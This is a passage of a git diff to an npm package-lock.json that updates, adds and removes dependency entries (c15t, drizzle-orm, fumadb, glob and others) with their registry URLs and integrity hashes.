"peer": true, + "engines": { + "node": ">=14" + } + }, "node_modules/anymatch": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", @@ -4583,6 +5131,16 @@ "node": ">= 8" } }, + "node_modules/app-root-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/app-root-path/-/app-root-path-3.1.0.tgz", + "integrity": "sha512-biN3PwB2gUtjaYy/isrU3aNWI5w+fAfvHkSvCKeQGxhmYpwKFUxudR3Yya+KqVRHBmEDYh+/lTozYCFbmzX4nA==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">= 6.0.0" + } + }, "node_modules/argparse": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", @@ -4711,7 +5269,6 @@ "version": "1.0.7", "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", - "dev": true, "license": "MIT", "dependencies": { "possible-typed-array-names": "^1.0.0" @@ -4767,7 +5324,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, "license": "MIT" }, "node_modules/bare-events": { @@ -4857,7 +5413,6 @@ "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "dev": true, "funding": [ { "type": "github", @@ -5043,15 +5598,15 @@ } }, "node_modules/c15t": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/c15t/-/c15t-1.4.4.tgz", - "integrity": "sha512-u7iwyjCuKePWX9EXv2CEQe3XYPAJeEyPGqyJfXlxt/Dd6fSqAKHUaX/Xf6QWi97AaIehp8QjcJw8Ka4kPds7eg==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/c15t/-/c15t-1.6.0.tgz", + "integrity": "sha512-ZuphxalLCQoaktLrioBikiziHb8sYue3InPNWcaACxwmke/eTR58UZ2fXa5O4cfrI03Q8GVGVem1Cnl6ewn5mg==", "license": "GPL-3.0-only", "dependencies": { - "@c15t/backend": "1.4.2", - "@c15t/translations": "1.4.2", - "@orpc/client": "1.2.0", - "@orpc/server": "1.2.0", + "@c15t/backend": "1.6.0", + "@c15t/translations": "1.6.0", + "@orpc/client": "1.8.1", + "@orpc/server": "1.8.1", "zustand": "^5.0.3" } }, @@ -5088,7 +5643,6 @@ "version": "1.0.8", "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", - "dev": true, "license": "MIT", "dependencies": { "call-bind-apply-helpers": "^1.0.0", @@ -5107,7 +5661,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "dev": true, "license": "MIT", "dependencies": { "es-errors": "^1.3.0", @@ -5121,7 +5674,6 @@ "version": "1.0.4", "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", - "dev": true, "license": "MIT", "dependencies": { "call-bind-apply-helpers": "^1.0.2", @@ -5145,9 +5697,9 @@ } }, "node_modules/caniuse-lite": { - "version": "1.0.30001727", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz", - "integrity": "sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==", + "version": "1.0.30001753", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001753.tgz", + "integrity": "sha512-Bj5H35MD/ebaOV4iDLqPEtiliTN29qkGtEHCwawWn4cYm+bPJM2NsaP30vtZcnERClMzp52J4+aw2UNbK4o+zw==", "funding": [ { "type": "opencollective", @@ -5677,15 +6229,15 @@ "license": "MIT" }, "node_modules/copy-anything": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-3.0.5.tgz", - "integrity": "sha512-yCEafptTtb4bk7GLEQoM8KVJpxAfdBJYaXyzQEgQQQgYrZiDp8SJmGKlYza6CYjEDNstAdNdKA3UuoULlEbS6w==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-4.0.5.tgz", + "integrity": "sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==", "license": "MIT", "dependencies": { - "is-what": "^4.1.8" + "is-what": "^5.2.0" }, "engines": { - "node": ">=12.13" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/mesqueeb" @@ -5732,6 +6284,21 @@ } } }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "peer": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, "node_modules/csstype": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", @@ -5804,6 +6371,13 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/dayjs": { + "version": "1.11.19", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.19.tgz", + "integrity": "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw==", + "license": "MIT", + "peer": true + }, "node_modules/debug": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", @@ -5864,6 +6438,21 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/dedent": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.0.tgz", + "integrity": "sha512-HGFtf8yhuhGhqO07SV79tRp+br4MnbdjeVxotpn1QBl30pcLLCQjX5b2295ll0fv8RKDKsmWYrl05usHM9CewQ==", + "license": "MIT", + "peer": true, + "peerDependencies": { + "babel-plugin-macros": "^3.1.0" + }, + "peerDependenciesMeta": { + "babel-plugin-macros": { + "optional": true + } + } + }, "node_modules/defer-to-connect": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", @@ -5878,7 +6467,6 @@ "version": "1.1.4", "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", - "dev": true, "license": "MIT", "dependencies": { "es-define-property": "^1.0.0", @@ -6067,11 +6655,26 @@ "node": ">=6" } }, + "node_modules/dotenv": { + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", + "license": "BSD-2-Clause", + "peer": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, "node_modules/drizzle-orm": { - "version": "0.41.0", - "resolved": "https://registry.npmjs.org/drizzle-orm/-/drizzle-orm-0.41.0.tgz", - "integrity": "sha512-7A4ZxhHk9gdlXmTdPj/lREtP+3u8KvZ4yEN6MYVxBzZGex5Wtdc+CWSbu7btgF6TB0N+MNPrvW7RKBbxJchs/Q==", + "version": "0.44.7", + "resolved": "https://registry.npmjs.org/drizzle-orm/-/drizzle-orm-0.44.7.tgz", + "integrity": "sha512-quIpnYznjU9lHshEOAYLoZ9s3jweleHlZIAWR/jX9gAWNg/JhQ1wj0KGRf7/Zm+obRrYd9GjPVJg790QY9N5AQ==", "license": "Apache-2.0", + "optional": true, + "peer": true, "peerDependencies": { "@aws-sdk/client-rds-data": ">=3", "@cloudflare/workers-types": ">=4", @@ -6081,12 +6684,13 @@ "@neondatabase/serverless": ">=0.10.0", "@op-engineering/op-sqlite": ">=2", "@opentelemetry/api": "^1.4.1", - "@planetscale/database": ">=1", + "@planetscale/database": ">=1.13", "@prisma/client": "*", "@tidbcloud/serverless": "*", "@types/better-sqlite3": "*", "@types/pg": "*", "@types/sql.js": "*", + "@upstash/redis": ">=1.34.7", "@vercel/postgres": ">=0.8.0", "@xata.io/client": "*", "better-sqlite3": ">=7", @@ -6144,6 +6748,9 @@ "@types/sql.js": { "optional": true }, + "@upstash/redis": { + "optional": true + }, "@vercel/postgres": { "optional": true }, @@ -6192,7 +6799,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "dev": true, "license": "MIT", "dependencies": { "call-bind-apply-helpers": "^1.0.1", @@ -6203,6 +6809,13 @@ "node": ">= 0.4" } }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "license": "MIT", + "peer": true + }, "node_modules/ee-first": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", @@ -6460,7 +7073,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "dev": true, "license": "MIT", "engines": { "node": ">= 0.4" @@ -6470,7 +7082,6 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "dev": true, "license": "MIT", "engines": { "node": ">= 0.4" @@ -6480,7 +7091,6 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", - "dev": true, "license": "MIT", "dependencies": { "es-errors": "^1.3.0" @@ -7053,7 +7663,6 @@ "version": "0.3.5", "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", - "dev": true, "license": "MIT", "dependencies": { "is-callable": "^1.2.7" @@ -7065,6 +7674,36 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "license": "ISC", + "peer": true, + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/foreground-child/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "peer": true, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/form-data": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", @@ -7177,6 +7816,72 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, + "node_modules/fumadb": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/fumadb/-/fumadb-0.1.2.tgz", + "integrity": "sha512-OUlPl1GkKGh15pjqkLvMU4mCczP6LlH73y2NfIZ4faPB3evFLcyPHpRkoWJZN56wII8bLQqBkyq5dTBO80v1kQ==", + "license": "MIT", + "dependencies": { + "@clack/prompts": "^0.11.0", + "@paralleldrive/cuid2": "^2.2.2", + "commander": "^14.0.0", + "kysely": "^0.28.3", + "kysely-typeorm": "^0.3.0", + "semver": "^7.7.2", + "zod": "^4.0.5" + }, + "peerDependencies": { + "convex": "^1.25.0", + "drizzle-orm": "^0.44.0", + "mongodb": "6.x.x", + "prisma": "6.x.x", + "typeorm": "0.x.x" + }, + "peerDependenciesMeta": { + "convex": { + "optional": true + }, + "drizzle-orm": { + "optional": true + }, + "mongodb": { + "optional": true + }, + "prisma": { + "optional": true + }, + "typeorm": { + "optional": true + } + } + }, + "node_modules/fumadb/node_modules/commander": { + "version": "14.0.2", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.2.tgz", + "integrity": "sha512-TywoWNNRbhoD0BXs1P3ZEScW8W5iKrnbithIl0YH+uCmBd0QpPOA8yc82DS3BIE5Ma6FnBVUsJ7wVUDz4dvOWQ==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/fumadb/node_modules/kysely": { + "version": "0.28.8", + "resolved": "https://registry.npmjs.org/kysely/-/kysely-0.28.8.tgz", + "integrity": "sha512-QUOgl5ZrS9IRuhq5FvOKFSsD/3+IA6MLE81/bOOTRA/YQpKDza2sFdN5g6JCB9BOpqMJDGefLCQ9F12hRS13TA==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/fumadb/node_modules/zod": { + "version": "4.1.12", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.12.tgz", + "integrity": "sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, "node_modules/function-bind": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", @@ -7250,7 +7955,6 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "dev": true, "license": "MIT", "dependencies": { "call-bind-apply-helpers": "^1.0.2", @@ -7275,7 +7979,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "dev": true, "license": "MIT", "dependencies": { "dunder-proto": "^1.0.1", @@ -7331,6 +8034,27 @@ "node": ">= 14" } }, + "node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "license": "ISC", + "peer": true, + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", @@ -7344,6 +8068,42 @@ "node": ">= 6" } }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "license": "MIT", + "peer": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "license": "ISC", + "peer": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob/node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "license": "ISC", + "peer": true, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, "node_modules/globalthis": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", @@ -7365,7 +8125,6 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "dev": true, "license": "MIT", "engines": { "node": ">= 0.4" @@ -7471,7 +8230,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", - "dev": true, "license": "MIT", "dependencies": { "es-define-property": "^1.0.0" @@ -7500,7 +8258,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "dev": true, "license": "MIT", "engines": { "node": ">= 0.4" @@ -7513,7 +8270,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "dev": true, "license": "MIT", "dependencies": { "has-symbols": "^1.0.3" @@ -7982,7 +8738,6 @@ "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "dev": true, "funding": [ { "type": "github", @@ -8028,12 +8783,13 @@ } }, "node_modules/import-in-the-middle": { - "version": "1.7.4", - "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-1.7.4.tgz", - "integrity": "sha512-Lk+qzWmiQuRPPulGQeK5qq0v32k2bHnWrRPFgqyvhw7Kkov5L6MOLOIU3pcWeujc9W4q54Cp3Q2WV16eQkc7Bg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-2.0.0.tgz", + "integrity": "sha512-yNZhyQYqXpkT0AKq3F3KLasUSK4fHvebNH5hOsKQw2dhGSALvQ4U0BqUc5suziKvydO5u5hgN2hy1RJaho8U5A==", "license": "Apache-2.0", + "peer": true, "dependencies": { - "acorn": "^8.8.2", + "acorn": "^8.14.0", "acorn-import-attributes": "^1.9.5", "cjs-module-lexer": "^1.2.2", "module-details-from-path": "^1.0.3" @@ -8056,7 +8812,6 @@ "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true, "license": "ISC" }, "node_modules/ink": { @@ -8358,7 +9113,6 @@ "version": "1.2.7", "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", - "dev": true, "license": "MIT", "engines": { "node": ">= 0.4" @@ -8763,7 +9517,6 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", - "dev": true, "license": "MIT", "dependencies": { "which-typed-array": "^1.1.16" @@ -8822,12 +9575,12 @@ } }, "node_modules/is-what": { - "version": "4.1.16", - "resolved": "https://registry.npmjs.org/is-what/-/is-what-4.1.16.tgz", - "integrity": "sha512-ZhMwEosbFJkA0YhFnNDgTM4ZxDRsS6HqTo7qsZM08fehyRYIYa0yHu5R6mgo1n/8MgaPBXiPimPD77baVFYg+A==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/is-what/-/is-what-5.5.0.tgz", + "integrity": "sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==", "license": "MIT", "engines": { - "node": ">=12.13" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/mesqueeb" @@ -8850,9 +9603,31 @@ "version": "2.0.5", "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", - "dev": true, "license": "MIT" }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC", + "peer": true + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "license": "BlueOak-1.0.0", + "peer": true, + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, "node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", @@ -8911,12 +9686,6 @@ "dev": true, "license": "MIT" }, - "node_modules/json-schema-typed": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.1.tgz", - "integrity": "sha512-XQmWYj2Sm4kn4WeTYvmpKEbyPsL7nBsb647c7pMe6l02/yx2+Jfc4dT6UZkEXnIUb5LhD55r2HPsJ1milQ4rDg==", - "license": "BSD-2-Clause" - }, "node_modules/jsonc-parser": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-2.2.1.tgz", @@ -9012,6 +9781,16 @@ "node": ">=14.0.0" } }, + "node_modules/kysely-typeorm": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/kysely-typeorm/-/kysely-typeorm-0.3.0.tgz", + "integrity": "sha512-xQDx6+HagVmtXeuYd3Sz2CPYc/jOo7JO1ALldYPdwRrbiwSs9GFyNPp5JbElkfZB+T4DRb+A53pKWKYjlgSFeA==", + "license": "MIT", + "peerDependencies": { + "kysely": ">= 0.24.0 < 1", + "typeorm": ">= 0.3.0 < 0.4.0" + } + }, "node_modules/lcm": { "version": "0.0.3", "resolved": "https://registry.npmjs.org/lcm/-/lcm-0.0.3.tgz", @@ -9055,12 +9834,6 @@ "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", "license": "MIT" }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "license": "MIT" - }, "node_modules/lodash.topath": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", @@ -9149,7 +9922,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "dev": true, "license": "MIT", "engines": { "node": ">= 0.4" @@ -10400,7 +11172,6 @@ "version": "5.0.0", "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", - "dev": true, "license": "ISC", "engines": { "node": ">=8" @@ -10956,6 +11727,13 @@ "node": ">= 14" } }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "license": "BlueOak-1.0.0", + "peer": true + }, "node_modules/parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", @@ -11067,12 +11845,46 @@ "node": "^12.20.0 || ^14.13.1 || >=16.0.0" } }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=8" + } + }, "node_modules/path-parse": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", "license": "MIT" }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": 